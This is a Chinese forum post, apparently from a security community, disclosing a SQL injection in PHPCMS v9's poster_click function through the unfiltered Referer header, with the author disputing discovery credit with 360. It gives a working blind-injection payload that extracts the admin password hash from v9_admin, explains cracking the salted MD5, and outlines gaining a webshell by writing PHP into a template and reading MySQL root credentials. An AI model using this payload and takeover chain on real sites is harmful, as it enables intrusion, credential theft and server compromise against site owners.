首发90sec,转过来凑个数,sb 360说是他发现的
http://www.pcpop.com/doc/jsu/12/123491.shtml
原帖在这儿,比他早一个月
https://forum.90sec.org/thread-4388-1-1.html
虽然不是啥大洞,找之前没参考phpcms其他洞的信息,找出来后,专门去搜了下,没有报道这个注入的,找了半天才发现老早以前有个报phpcms2008也有这个问题的,很类似,但我的确不是抄袭
author:
[email protected]
文件:phpcms/modules/poster/index.php
poster_click()方法 第27或119行
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
HTTP_REFERER 被定义于 /phpcms/base.php 文件第23行
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); //未作任何过滤
利用方法:
去首页找一个广告链接
eg:
http://www.90sec.org/index.php?m=poster&;c=index&a=poster_click&sitespaceid=1&id=639
改变header头部referer值提交
注入sql构造例子:
90sec','1',(select password from v9_admin where userid =1 and left(password,8) = '377ad72f'))# //根据页面返回是否正常猜字段值
32md5 小写字母a-f 0-9加密是md5(md5($pass).$salt) 还需要查encrypt字段,6个长度 拿到后和密码丢到cmd5解密,剩下了就靠运气了,用户名一般是phpcms,如果不是再查username字段呗,进后台拿shell就是网上流传的那样,编辑模板写php代码,然后预览。如果权限够大,去查mysql.user里root密码
表名前缀默认v9_ ,如果不是 需要根据报错信息自行修改
后台登陆地址:
http://www.90sec.org/index.php?m=admin&;c=index&a=login